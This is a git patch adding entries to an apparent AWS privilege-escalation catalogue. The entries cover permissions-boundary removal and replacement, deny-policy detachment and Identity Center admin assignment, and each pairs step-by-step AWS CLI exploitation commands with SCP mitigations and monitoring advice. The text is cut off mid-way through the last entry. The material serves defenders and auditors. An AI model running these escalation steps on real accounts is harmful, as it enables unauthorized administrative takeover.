From db57a4074dae4e8d75512dbfb410da9607dfa8bc Mon Sep 17 00:00:00 2001 From: "paramdm@amazon.com" Date: Wed, 3 Jun 2026 21:39:12 +0530 Subject: [PATCH] Add 11 IAM privilege escalation paths: cross-account trust abuse, permissions boundary bypass, Identity Center escalation, deny policy removal --- data/paths/iam/iam-022.yaml | 137 ++++++++++++++++++++++++++ data/paths/iam/iam-023.yaml | 179 ++++++++++++++++++++++++++++++++++ data/paths/iam/iam-024.yaml | 153 +++++++++++++++++++++++++++++ data/paths/iam/iam-025.yaml | 138 ++++++++++++++++++++++++++ data/paths/iam/iam-026.yaml | 139 ++++++++++++++++++++++++++ data/paths/sso/sso-001.yaml | 183 ++++++++++++++++++++++++++++++++++ data/paths/sso/sso-002.yaml | 143 +++++++++++++++++++++++++++ data/paths/sso/sso-003.yaml | 137 ++++++++++++++++++++++++++ data/paths/sts/sts-002.yaml | 167 +++++++++++++++++++++++++++++++ data/paths/sts/sts-003.yaml | 172 ++++++++++++++++++++++++++++++++ data/paths/sts/sts-004.yaml | 189 ++++++++++++++++++++++++++++++++++++ 11 files changed, 1737 insertions(+) create mode 100644 data/paths/iam/iam-022.yaml create mode 100644 data/paths/iam/iam-023.yaml create mode 100644 data/paths/iam/iam-024.yaml create mode 100644 data/paths/iam/iam-025.yaml create mode 100644 data/paths/iam/iam-026.yaml create mode 100644 data/paths/sso/sso-001.yaml create mode 100644 data/paths/sso/sso-002.yaml create mode 100644 data/paths/sso/sso-003.yaml create mode 100644 data/paths/sts/sts-002.yaml create mode 100644 data/paths/sts/sts-003.yaml create mode 100644 data/paths/sts/sts-004.yaml diff --git a/data/paths/iam/iam-022.yaml b/data/paths/iam/iam-022.yaml new file mode 100644 index 00000000..49494d9c --- /dev/null +++ b/data/paths/iam/iam-022.yaml @@ -0,0 +1,137 @@ +id: iam-022 +name: iam:DeleteUserPermissionsBoundary +category: self-escalation +services: +- iam +description: | + If a user's effective permissions are constrained by a permissions boundary, and the user (or an attacker with access to their credentials) has `iam:DeleteUserPermissionsBoundary`, they can remove the boundary and regain their full unconstrained permissions. Permissions boundaries limit the maximum permissions a principal can have — removing the boundary removes that ceiling, potentially exposing administrative permissions that were always attached but previously blocked by the boundary. +prerequisites: + admin: + - Target user must have IAM policies attached that grant more permissions than the boundary allows + - The permissions boundary must be the only constraint limiting the user's effective permissions + - Target user (or attacker with their creds) must have `iam:DeleteUserPermissionsBoundary` on their own user ARN + lateral: + - Must have iam:DeleteUserPermissionsBoundary permission on the target user + - Must know the target user's name or ARN +permissions: + required: + - permission: iam:DeleteUserPermissionsBoundary + resourceConstraints: Must have permission to delete the permissions boundary from the target user ARN + additional: + - permission: iam:GetUser + resourceConstraints: Helpful for viewing the current permissions boundary attached to the user + - permission: iam:ListAttachedUserPolicies + resourceConstraints: Useful for discovering what policies are attached (and thus what permissions will be unlocked) +exploitationSteps: + awscli: + - step: 1 + command: aws iam get-user --user-name TARGET_USER + description: View the user's current configuration including the permissions boundary ARN + - step: 2 + command: aws iam list-attached-user-policies --user-name TARGET_USER + description: List attached policies to understand what permissions will be unlocked after boundary removal + - step: 3 + command: | + aws iam delete-user-permissions-boundary \ + --user-name TARGET_USER + description: Delete the permissions boundary from the user, removing the constraint on their effective permissions + - step: 4 + command: aws sts get-caller-identity + description: Verify current identity + - step: 5 + command: aws iam list-users --max-items 3 + description: Verify that previously-blocked permissions are now accessible +recommendation: | + Use SCPs to deny `iam:DeleteUserPermissionsBoundary` actions. Never grant boundary deletion to the principal the boundary constrains. + + SCP to prevent boundary removal: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "iam:DeleteUserPermissionsBoundary", + "iam:DeleteRolePermissionsBoundary" + ], + "Resource": "*", + "Condition": { + "StringNotLike": { + "aws:PrincipalARN": "arn:aws:iam::*:role/BoundaryAdmin" + } + } + } + ] + } + ``` + + Additional controls: + - **SCPs over identity policies** — Use Service Control Policies to enforce boundary protection since SCPs cannot be removed by the constrained principal + - **Separate boundary management** — Only allow dedicated automation roles to manage permissions boundaries + - **Monitor CloudTrail** — Alert on all `DeleteUserPermissionsBoundary` events + - **Deny self-modification** — Ensure users cannot delete their own boundaries via identity policies + - **Regular audits** — Verify that boundary-protected principals do not have boundary deletion permissions +limitations: | + This path only works if the underlying IAM policies grant more permissions than the boundary allows. If the boundary and the policies are equivalent in scope, removing the boundary has no effect. The attacker regains whatever permissions the attached policies grant minus the boundary constraint. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - Permissions Boundaries + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html +- title: HackTricks - AWS IAM Privesc - Permissions Boundary + url: https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html +relatedPaths: +- iam-023 +- iam-024 +attackVisualization: + nodes: + - id: attacker + label: Constrained User + type: principal + description: | + An IAM user whose effective permissions are limited by a permissions boundary. The user has policies attached that grant broader permissions than the boundary allows. + - id: boundary + label: Permissions Boundary + type: resource + description: | + The IAM permissions boundary policy attached to the user. This boundary limits the maximum effective permissions — only permissions granted by BOTH the identity policies AND the boundary take effect. + - id: admin_outcome + label: Effective Administrator + type: outcome + description: | + After removing the boundary, the user's full attached policies take effect. If those policies include AdministratorAccess, the user gains full admin. + - id: partial_outcome + label: Expanded permissions + type: outcome + color: '#ffeb99' + description: | + After removing the boundary, the user gains additional permissions that were previously blocked, but not full admin. + edges: + - from: attacker + to: boundary + label: iam:DeleteUserPermissionsBoundary + description: | + The attacker calls `iam:DeleteUserPermissionsBoundary` to remove the boundary that constrains their effective permissions. + + Command: + ```bash + aws iam delete-user-permissions-boundary --user-name TARGET_USER + ``` + - from: boundary + to: admin_outcome + label: If underlying policies grant admin + branch: A + condition: admin + description: | + The underlying IAM policies grant AdministratorAccess or equivalent. With the boundary removed, these permissions become effective. + - from: boundary + to: partial_outcome + label: If underlying policies grant partial access + branch: B + condition: some_permissions + description: | + The underlying policies grant elevated but non-admin permissions. The boundary was blocking some of these, and now they become effective. diff --git a/data/paths/iam/iam-023.yaml b/data/paths/iam/iam-023.yaml new file mode 100644 index 00000000..3bd273da --- /dev/null +++ b/data/paths/iam/iam-023.yaml @@ -0,0 +1,179 @@ +id: iam-023 +name: iam:DeleteRolePermissionsBoundary + sts:AssumeRole +category: principal-access +services: +- iam +- sts +description: | + An attacker removes the permissions boundary from a target role using `iam:DeleteRolePermissionsBoundary`, expanding that role's effective permissions beyond what the boundary previously allowed. The attacker then assumes the role to gain the expanded permissions. This attack targets roles where the boundary was the primary control limiting the role's effective access — once removed, the role's full attached policies take effect. +prerequisites: + admin: + - Target role must have IAM policies attached that grant more permissions than its boundary allows + - Target role must trust the attacker's principal (or the attacker must be able to modify the trust policy) + - Target role's underlying policies must include administrative permissions + lateral: + - Must have iam:DeleteRolePermissionsBoundary on the target role + - Must be able to assume the role after boundary removal (via existing trust or iam:UpdateAssumeRolePolicy) +permissions: + required: + - permission: iam:DeleteRolePermissionsBoundary + resourceConstraints: Must have permission to delete the permissions boundary from the target role ARN + - permission: sts:AssumeRole + resourceConstraints: Must be able to assume the target role after boundary removal + additional: + - permission: iam:GetRole + resourceConstraints: Helpful for viewing the current boundary and trust policy on the target role + - permission: iam:ListAttachedRolePolicies + resourceConstraints: Useful for discovering what policies will be unlocked after boundary removal +exploitationSteps: + awscli: + - step: 1 + command: aws iam get-role --role-name TARGET_ROLE + description: View the role's configuration including current permissions boundary and trust policy + - step: 2 + command: aws iam list-attached-role-policies --role-name TARGET_ROLE + description: List attached policies to understand what permissions will be unlocked + - step: 3 + command: | + aws iam delete-role-permissions-boundary \ + --role-name TARGET_ROLE + description: Delete the permissions boundary from the target role + - step: 4 + command: sleep 15 + description: Wait for IAM changes to propagate + - step: 5 + command: | + aws sts assume-role \ + --role-arn arn:aws:iam::ACCOUNT_ID:role/TARGET_ROLE \ + --role-session-name boundary-bypass + description: Assume the target role which now has expanded permissions + - step: 6 + command: | + export AWS_ACCESS_KEY_ID= + export AWS_SECRET_ACCESS_KEY= + export AWS_SESSION_TOKEN= + description: Configure the AWS CLI with the assumed role credentials + - step: 7 + command: aws sts get-caller-identity + description: Verify the assumed role identity + - step: 8 + command: aws iam list-users --max-items 3 + description: Verify expanded permissions are now effective +recommendation: | + Protect permissions boundaries with SCPs. Use condition keys to prevent boundary changes except by specific automation roles. + + SCP to prevent boundary removal: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "iam:DeleteRolePermissionsBoundary", + "iam:DeleteUserPermissionsBoundary" + ], + "Resource": "*", + "Condition": { + "StringNotLike": { + "aws:PrincipalARN": "arn:aws:iam::*:role/BoundaryAdmin" + } + } + } + ] + } + ``` + + Additional controls: + - **SCPs are essential** — Since permissions boundaries are identity-level controls, only SCPs can prevent their removal by privileged principals + - **Dedicated boundary admin role** — Only a single break-glass role should be able to modify boundaries + - **Monitor CloudTrail** — Alert on all `DeleteRolePermissionsBoundary` events immediately + - **Detect boundary drift** — Implement automated checks comparing current boundaries against expected baselines + - **Separate duties** — Principals who can delete boundaries should not also be able to assume the boundary-protected roles + - **Regular audits** — Verify boundary-protected roles don't have overly permissive underlying policies +limitations: | + This path only provides escalation if the target role's underlying policies grant more access than the boundary allowed. If policies and boundary have the same scope, removal has no effect. The attacker also needs the ability to assume the role after boundary removal. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - Permissions Boundaries + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html +- title: HackTricks - AWS IAM Privesc + url: https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html +relatedPaths: +- iam-022 +- iam-024 +attackVisualization: + nodes: + - id: attacker + label: Starting Principal + type: principal + description: | + The attacker with `iam:DeleteRolePermissionsBoundary` and `sts:AssumeRole` permissions on the target role. + - id: target_role + label: Boundary-Constrained Role + type: principal + description: | + An IAM role with a permissions boundary limiting its effective permissions. The underlying attached policies grant broader access than the boundary allows. + - id: boundary + label: Permissions Boundary + type: resource + description: | + The permissions boundary policy that currently constrains the target role. Removing this expands the role's effective permissions. + - id: admin_outcome + label: Effective Administrator + type: outcome + description: | + After removing the boundary and assuming the role, the attacker gains full admin access if the underlying policies grant AdministratorAccess. + - id: partial_outcome + label: Expanded access + type: outcome + color: '#ffeb99' + description: | + After removing the boundary, the role's expanded permissions provide elevated but non-admin access. + - id: no_outcome + label: No additional access + type: outcome + color: '#cccccc' + description: | + The boundary and underlying policies have the same scope, so removal provides no additional access. + edges: + - from: attacker + to: boundary + label: iam:DeleteRolePermissionsBoundary + description: | + The attacker removes the permissions boundary from the target role, expanding its effective permissions. + + Command: + ```bash + aws iam delete-role-permissions-boundary --role-name TARGET_ROLE + ``` + - from: boundary + to: target_role + label: Boundary removed, policies expand + description: | + With the boundary removed, the role's full attached policies take effect. The effective permissions are no longer limited by the intersection of policies and boundary. + - from: target_role + to: admin_outcome + label: If underlying policies grant admin + branch: A + condition: admin + description: | + The role's attached policies include AdministratorAccess or equivalent. The attacker assumes the role and gains full admin. + - from: target_role + to: partial_outcome + label: If underlying policies grant partial access + branch: B + condition: some_permissions + description: | + The role's policies grant elevated permissions that were previously blocked by the boundary. + - from: target_role + to: no_outcome + label: If boundary matched policies + branch: C + condition: no_permissions + description: | + The boundary was not actually constraining the role — removing it provides no additional access. diff --git a/data/paths/iam/iam-024.yaml b/data/paths/iam/iam-024.yaml new file mode 100644 index 00000000..a5a50e02 --- /dev/null +++ b/data/paths/iam/iam-024.yaml @@ -0,0 +1,153 @@ +id: iam-024 +name: iam:PutUserPermissionsBoundary +category: self-escalation +services: +- iam +description: | + Instead of deleting a permissions boundary, an attacker with `iam:PutUserPermissionsBoundary` can replace it with a permissive one (e.g., a boundary that allows `*` on `*`). The new boundary won't constrain anything — effectively the same result as deleting it, but using a different API call that may not be monitored as closely. +prerequisites: + admin: + - Target user must have IAM policies attached that grant more permissions than the current boundary allows + - A permissive managed policy must exist to use as the new boundary (e.g., AdministratorAccess or a custom `*:*` policy) + - Attacker must have `iam:PutUserPermissionsBoundary` on the target user + lateral: + - Must have iam:PutUserPermissionsBoundary on their own user or the target user + - Must identify a permissive managed policy ARN to use as the replacement boundary +permissions: + required: + - permission: iam:PutUserPermissionsBoundary + resourceConstraints: Must have permission to set the permissions boundary on the target user ARN + additional: + - permission: iam:ListPolicies + resourceConstraints: Helpful for discovering available permissive managed policies to use as replacement + - permission: iam:GetUser + resourceConstraints: Useful for viewing the current boundary on the target user +exploitationSteps: + awscli: + - step: 1 + command: aws iam get-user --user-name TARGET_USER + description: View the user's current permissions boundary + - step: 2 + command: aws iam list-policies --query 'Policies[?PolicyName==`AdministratorAccess`].Arn' --output text + description: Find the ARN of a permissive policy to use as the new boundary (AdministratorAccess) + - step: 3 + command: | + aws iam put-user-permissions-boundary \ + --user-name TARGET_USER \ + --permissions-boundary arn:aws:iam::aws:policy/AdministratorAccess + description: Replace the restrictive boundary with AdministratorAccess, effectively removing all constraints + - step: 4 + command: aws sts get-caller-identity + description: Verify current identity + - step: 5 + command: aws iam list-users --max-items 3 + description: Verify that previously-blocked permissions are now accessible +recommendation: | + Use SCPs to deny boundary modification. The same protections that prevent boundary deletion should also prevent boundary replacement. + + SCP to prevent boundary modification: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "iam:PutUserPermissionsBoundary", + "iam:PutRolePermissionsBoundary", + "iam:DeleteUserPermissionsBoundary", + "iam:DeleteRolePermissionsBoundary" + ], + "Resource": "*", + "Condition": { + "StringNotLike": { + "aws:PrincipalARN": "arn:aws:iam::*:role/BoundaryAdmin" + } + } + } + ] + } + ``` + + Additional controls: + - **Monitor both Put and Delete** — Alert on `PutUserPermissionsBoundary` events as well as deletions, since replacement achieves the same result + - **Restrict boundary policies** — Use SCPs to enforce that only specific pre-approved boundary policies can be applied + - **Use iam:PermissionsBoundary condition** — Enforce that new boundaries must be from an approved list + - **Detect boundary drift** — Compare current boundaries against expected values and alert on changes + - **Deny self-modification** — Ensure users cannot replace their own boundaries + - **Regular audits** — Verify boundary-protected users retain their expected boundary ARNs +limitations: | + Same as boundary deletion — this only works if the underlying policies grant more permissions than the current boundary allows. If the user's policies are already limited in scope, swapping the boundary provides no additional access. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - Permissions Boundaries + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html +- title: HackTricks - AWS IAM Privesc + url: https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html +relatedPaths: +- iam-022 +- iam-023 +attackVisualization: + nodes: + - id: attacker + label: Constrained User + type: principal + description: | + An IAM user whose effective permissions are limited by a permissions boundary. The underlying policies grant broader access than the boundary currently allows. + - id: boundary + label: Restrictive Boundary + type: resource + description: | + The current permissions boundary that constrains the user's effective permissions. The attacker will replace this with a permissive boundary. + - id: new_boundary + label: Permissive Boundary (AdministratorAccess) + type: resource + description: | + The replacement boundary (e.g., AdministratorAccess managed policy). This boundary allows all actions on all resources, effectively removing all constraints. + - id: admin_outcome + label: Effective Administrator + type: outcome + description: | + After replacing the boundary with a permissive one, the user's full attached policies take effect. If those include AdministratorAccess, the user gains full admin. + - id: partial_outcome + label: Expanded permissions + type: outcome + color: '#ffeb99' + description: | + After boundary replacement, the user gains additional previously-blocked permissions but not full admin. + edges: + - from: attacker + to: boundary + label: iam:PutUserPermissionsBoundary + description: | + The attacker replaces the restrictive boundary with a permissive one using `iam:PutUserPermissionsBoundary`. + + Command: + ```bash + aws iam put-user-permissions-boundary \ + --user-name TARGET_USER \ + --permissions-boundary arn:aws:iam::aws:policy/AdministratorAccess + ``` + - from: boundary + to: new_boundary + label: Replaced with AdministratorAccess + description: | + The restrictive boundary is replaced with AdministratorAccess. The new boundary allows all actions, so it no longer constrains the user's effective permissions. + - from: new_boundary + to: admin_outcome + label: If underlying policies grant admin + branch: A + condition: admin + description: | + The user's attached policies include AdministratorAccess or equivalent. With the permissive boundary, these take full effect. + - from: new_boundary + to: partial_outcome + label: If underlying policies grant partial access + branch: B + condition: some_permissions + description: | + The user's policies grant elevated but non-admin permissions that were previously blocked by the boundary. diff --git a/data/paths/iam/iam-025.yaml b/data/paths/iam/iam-025.yaml new file mode 100644 index 00000000..104206cd --- /dev/null +++ b/data/paths/iam/iam-025.yaml @@ -0,0 +1,138 @@ +id: iam-025 +name: iam:DetachUserPolicy +category: self-escalation +services: +- iam +description: | + An attacker with `iam:DetachUserPolicy` can detach an explicit deny policy from themselves or another principal. If the deny policy was blocking specific dangerous actions (e.g., denying `iam:CreatePolicyVersion` or `iam:PassRole`), removing it re-enables those actions. This attack works because IAM evaluates explicit denies from attached policies — once the deny policy is detached, the previously-blocked Allow statements take effect again. +prerequisites: + admin: + - Target principal must have an attached managed deny policy that blocks specific dangerous actions + - The principal must have Allow statements (from other policies) for the actions the deny was blocking + - Attacker must have `iam:DetachUserPolicy` on the target user for the deny policy ARN + lateral: + - Must have iam:DetachUserPolicy permission on the target user + - Must identify the deny policy ARN to detach +permissions: + required: + - permission: iam:DetachUserPolicy + resourceConstraints: Must have permission to detach policies from the target user ARN + additional: + - permission: iam:ListAttachedUserPolicies + resourceConstraints: Helpful for discovering which policies are attached, including deny policies + - permission: iam:GetPolicy + resourceConstraints: Useful for viewing the deny policy content to understand what will be unblocked + - permission: iam:GetPolicyVersion + resourceConstraints: Useful for viewing the specific policy document of the deny policy +exploitationSteps: + awscli: + - step: 1 + command: aws iam list-attached-user-policies --user-name TARGET_USER + description: List all attached policies to identify the deny policy + - step: 2 + command: | + aws iam get-policy-version \ + --policy-arn arn:aws:iam::ACCOUNT_ID:policy/DenyEscalation \ + --version-id v1 + description: View the deny policy content to confirm which actions it blocks + - step: 3 + command: | + aws iam detach-user-policy \ + --user-name TARGET_USER \ + --policy-arn arn:aws:iam::ACCOUNT_ID:policy/DenyEscalation + description: Detach the deny policy from the user, re-enabling previously blocked actions + - step: 4 + command: aws sts get-caller-identity + description: Verify current identity + - step: 5 + command: aws iam create-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/AttachedPolicy --policy-document file://admin.json --set-as-default + description: Execute a previously-blocked action (e.g., CreatePolicyVersion) to escalate privileges +recommendation: | + Use SCPs instead of identity-based deny policies for critical guardrails. SCPs cannot be removed by the principal they constrain, making them more robust than attached deny policies. + + If using identity-based deny policies, deny `iam:DetachUserPolicy` for the deny policy ARN: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": "iam:DetachUserPolicy", + "Resource": "arn:aws:iam::ACCOUNT_ID:user/*", + "Condition": { + "ArnEquals": { + "aws:PolicyArn": "arn:aws:iam::ACCOUNT_ID:policy/DenyEscalation" + } + } + } + ] + } + ``` + + Additional controls: + - **Prefer SCPs** — Service Control Policies are the most robust way to enforce deny guardrails since they operate at the organization level + - **Self-protecting deny policies** — If using identity-based denies, include `iam:DetachUserPolicy` in the deny policy itself to prevent self-removal + - **Monitor CloudTrail** — Alert on `DetachUserPolicy` events, especially when deny or guardrail policies are being detached + - **Use permissions boundaries** — As an additional layer, permissions boundaries can also constrain effective permissions + - **Regular audits** — Verify that guardrail deny policies remain attached to all intended principals + - **Detect policy drift** — Implement automated checks comparing current policy attachments against expected baselines +limitations: | + This path only enables escalation if: (1) the deny policy was blocking actions the principal otherwise has Allow for, and (2) those unblocked actions lead to privilege escalation. If the principal doesn't have Allow statements for dangerous actions, removing the deny has no effect. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - IAM Policy Evaluation Logic + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html +- title: AWS Documentation - Deny Policies + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html +relatedPaths: +- iam-026 +- iam-001 +attackVisualization: + nodes: + - id: attacker + label: Constrained Principal + type: principal + description: | + A principal whose dangerous permissions are blocked by an attached explicit deny policy. The principal has Allow statements for escalation actions, but the deny policy prevents their use. + - id: deny_policy + label: Deny Policy (Guardrail) + type: resource + description: | + A managed IAM policy with explicit deny statements blocking specific dangerous actions (e.g., denying iam:CreatePolicyVersion, iam:PassRole, etc.). This is the guardrail being removed. + - id: escalation + label: Previously-Blocked Escalation Path + type: payload + description: | + After the deny policy is removed, the principal's Allow statements for dangerous actions take effect. The attacker can now exploit other privilege escalation paths that were previously blocked (e.g., iam:CreatePolicyVersion, iam:PassRole). + - id: admin_outcome + label: Effective Administrator + type: outcome + description: | + The attacker uses the unblocked escalation path to gain administrative access (e.g., creates an admin policy version, passes a privileged role). + edges: + - from: attacker + to: deny_policy + label: iam:DetachUserPolicy + description: | + Detach the deny policy from the user, removing the guardrail that blocked dangerous actions. + + Command: + ```bash + aws iam detach-user-policy \ + --user-name TARGET_USER \ + --policy-arn arn:aws:iam::ACCOUNT_ID:policy/DenyEscalation + ``` + - from: deny_policy + to: escalation + label: Deny removed, Allow statements take effect + description: | + With the explicit deny removed, the principal's Allow statements for previously-blocked actions become effective. + - from: escalation + to: admin_outcome + label: Execute unblocked escalation + description: | + The attacker uses the now-unblocked permissions to escalate privileges (e.g., iam:CreatePolicyVersion to create an admin policy). diff --git a/data/paths/iam/iam-026.yaml b/data/paths/iam/iam-026.yaml new file mode 100644 index 00000000..fb87aa06 --- /dev/null +++ b/data/paths/iam/iam-026.yaml @@ -0,0 +1,139 @@ +id: iam-026 +name: iam:DeleteUserPolicy +category: self-escalation +services: +- iam +description: | + An attacker with `iam:DeleteUserPolicy` can delete an inline deny policy from a user. This has the same effect as detaching a managed deny policy — it re-enables actions that were previously blocked by the inline deny. Inline policies are sometimes used for per-user guardrails or deny overrides, and deleting them removes those constraints. +prerequisites: + admin: + - Target user must have an inline deny policy that blocks specific dangerous actions + - The user must have Allow statements (from other policies) for the actions the inline deny was blocking + - Attacker must have `iam:DeleteUserPolicy` on the target user + lateral: + - Must have iam:DeleteUserPolicy permission on the target user + - Must know the inline policy name to delete +permissions: + required: + - permission: iam:DeleteUserPolicy + resourceConstraints: Must have permission to delete inline policies from the target user ARN + additional: + - permission: iam:ListUserPolicies + resourceConstraints: Helpful for discovering inline policy names on the target user + - permission: iam:GetUserPolicy + resourceConstraints: Useful for viewing the inline deny policy content to understand what will be unblocked +exploitationSteps: + awscli: + - step: 1 + command: aws iam list-user-policies --user-name TARGET_USER + description: List inline policies on the user to identify the deny policy name + - step: 2 + command: | + aws iam get-user-policy \ + --user-name TARGET_USER \ + --policy-name DenyEscalationInline + description: View the inline deny policy content to confirm which actions it blocks + - step: 3 + command: | + aws iam delete-user-policy \ + --user-name TARGET_USER \ + --policy-name DenyEscalationInline + description: Delete the inline deny policy from the user, re-enabling previously blocked actions + - step: 4 + command: aws sts get-caller-identity + description: Verify current identity + - step: 5 + command: aws iam create-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/AttachedPolicy --policy-document file://admin.json --set-as-default + description: Execute a previously-blocked action to escalate privileges +recommendation: | + Prefer SCPs for guardrails. If inline denies are used, deny `iam:DeleteUserPolicy` via SCP to prevent removal. + + SCP to protect inline deny policies: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "iam:DeleteUserPolicy", + "iam:PutUserPolicy" + ], + "Resource": "*", + "Condition": { + "StringNotLike": { + "aws:PrincipalARN": "arn:aws:iam::*:role/PolicyAdmin" + } + } + } + ] + } + ``` + + Additional controls: + - **Prefer SCPs over inline denies** — SCPs are more robust because they cannot be removed by constrained principals + - **Prefer managed policies over inline** — Managed deny policies are easier to audit and monitor than inline policies + - **Monitor CloudTrail** — Alert on all `DeleteUserPolicy` events, especially for known guardrail policy names + - **Self-protecting patterns** — If using inline denies, consider also denying `iam:DeleteUserPolicy` in the same inline policy (though this creates a circular dependency that SCPs handle better) + - **Detect drift** — Implement automated checks verifying inline deny policies remain present on intended users + - **Regular audits** — Review inline policies on all users, alerting on missing expected deny policies +limitations: | + Same as iam-025 — only enables escalation if the inline deny was blocking actions the principal otherwise has Allow for. If those unblocked actions don't lead to privilege escalation, removing the inline deny has no effect. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - IAM Policy Evaluation Logic + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html +- title: AWS Documentation - Inline Policies + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-vs-inline.html +relatedPaths: +- iam-025 +- iam-001 +attackVisualization: + nodes: + - id: attacker + label: Constrained Principal + type: principal + description: | + A principal whose dangerous permissions are blocked by an inline deny policy. The principal has Allow statements for escalation actions from attached managed policies, but the inline deny prevents their use. + - id: inline_deny + label: Inline Deny Policy + type: resource + description: | + An inline IAM policy with explicit deny statements blocking specific actions. Unlike managed policies, inline policies are embedded directly in the user and cannot be reused across principals. + - id: escalation + label: Previously-Blocked Escalation Path + type: payload + description: | + After the inline deny is deleted, the principal's Allow statements for dangerous actions take effect. The attacker can now exploit other privilege escalation paths that were previously blocked. + - id: admin_outcome + label: Effective Administrator + type: outcome + description: | + The attacker uses the unblocked escalation path to gain administrative access. + edges: + - from: attacker + to: inline_deny + label: iam:DeleteUserPolicy + description: | + Delete the inline deny policy from the user, removing the guardrail. + + Command: + ```bash + aws iam delete-user-policy \ + --user-name TARGET_USER \ + --policy-name DenyEscalationInline + ``` + - from: inline_deny + to: escalation + label: Deny removed, Allow statements take effect + description: | + With the inline deny deleted, the principal's Allow statements from managed policies for previously-blocked actions become effective. + - from: escalation + to: admin_outcome + label: Execute unblocked escalation + description: | + The attacker uses the now-unblocked permissions to escalate privileges via another technique (e.g., iam:CreatePolicyVersion, iam:PassRole). diff --git a/data/paths/sso/sso-001.yaml b/data/paths/sso/sso-001.yaml new file mode 100644 index 00000000..97e0308a --- /dev/null +++ b/data/paths/sso/sso-001.yaml @@ -0,0 +1,183 @@ +id: sso-001 +name: sso:CreatePermissionSet + sso:CreateAccountAssignment + sso:AttachManagedPolicyToPermissionSet +category: self-escalation +services: +- sso-admin +- organizations +description: | + A principal with Identity Center administrative permissions can create a new permission set with AdministratorAccess, then assign it to their own user or group for any target account. This grants SSO console access with admin privileges to any account in the organization. The attack requires knowledge of the Identity Center instance ARN, the target account ID, and the attacker's SSO user/group principal ID. +prerequisites: + admin: + - Must have IAM Identity Center admin permissions (typically from the management account or delegated admin) + - Must know the Identity Center instance ARN + - Must know the target AWS account ID within the organization + - Must know the attacker's SSO user or group principal ID + lateral: + - Must have sso:CreatePermissionSet, sso:CreateAccountAssignment, and sso:AttachManagedPolicyToPermissionSet permissions + - Must have access to the management account or delegated administrator for Identity Center + - Must know the Identity Center instance ARN and target account ID +permissions: + required: + - permission: sso:CreatePermissionSet + resourceConstraints: Must have permission to create permission sets in the Identity Center instance + - permission: sso:CreateAccountAssignment + resourceConstraints: Must have permission to assign permission sets to principals in target accounts + - permission: sso:AttachManagedPolicyToPermissionSet + resourceConstraints: Must have permission to attach managed policies to the created permission set + additional: + - permission: sso:ListInstances + resourceConstraints: Helpful for discovering the Identity Center instance ARN + - permission: sso:ListPermissionSets + resourceConstraints: Useful for viewing existing permission sets + - permission: organizations:ListAccounts + resourceConstraints: Helpful for discovering target account IDs +exploitationSteps: + awscli: + - step: 1 + command: | + aws sso-admin list-instances + description: Discover the Identity Center instance ARN and identity store ID + - step: 2 + command: | + aws sso-admin create-permission-set \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --name "AdminAccess" \ + --session-duration "PT8H" + description: Create a new permission set that will be used for admin access + - step: 3 + command: | + aws sso-admin attach-managed-policy-to-permission-set \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --permission-set-arn arn:aws:sso:::permissionSet/ssoins-INSTANCE_ID/ps-PERMISSION_SET_ID \ + --managed-policy-arn arn:aws:iam::aws:policy/AdministratorAccess + description: Attach AdministratorAccess managed policy to the new permission set + - step: 4 + command: | + aws sso-admin create-account-assignment \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --permission-set-arn arn:aws:sso:::permissionSet/ssoins-INSTANCE_ID/ps-PERMISSION_SET_ID \ + --target-id TARGET_ACCOUNT_ID \ + --target-type AWS_ACCOUNT \ + --principal-id ATTACKER_USER_OR_GROUP_ID \ + --principal-type USER + description: Assign the admin permission set to the attacker's SSO user for the target account + - step: 5 + command: | + aws sso-admin provision-permission-set \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --permission-set-arn arn:aws:sso:::permissionSet/ssoins-INSTANCE_ID/ps-PERMISSION_SET_ID \ + --target-type ALL_PROVISIONED_ACCOUNTS + description: Provision the permission set to push changes to the target account + - step: 6 + command: echo "Log in to the SSO portal and select the target account with the new AdminAccess permission set" + description: Access the target account via SSO portal with full administrative privileges +recommendation: | + Restrict Identity Center admin permissions to break-glass only. These permissions enable full organizational access and should be tightly controlled. + + SCP to limit Identity Center modifications: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "sso:CreatePermissionSet", + 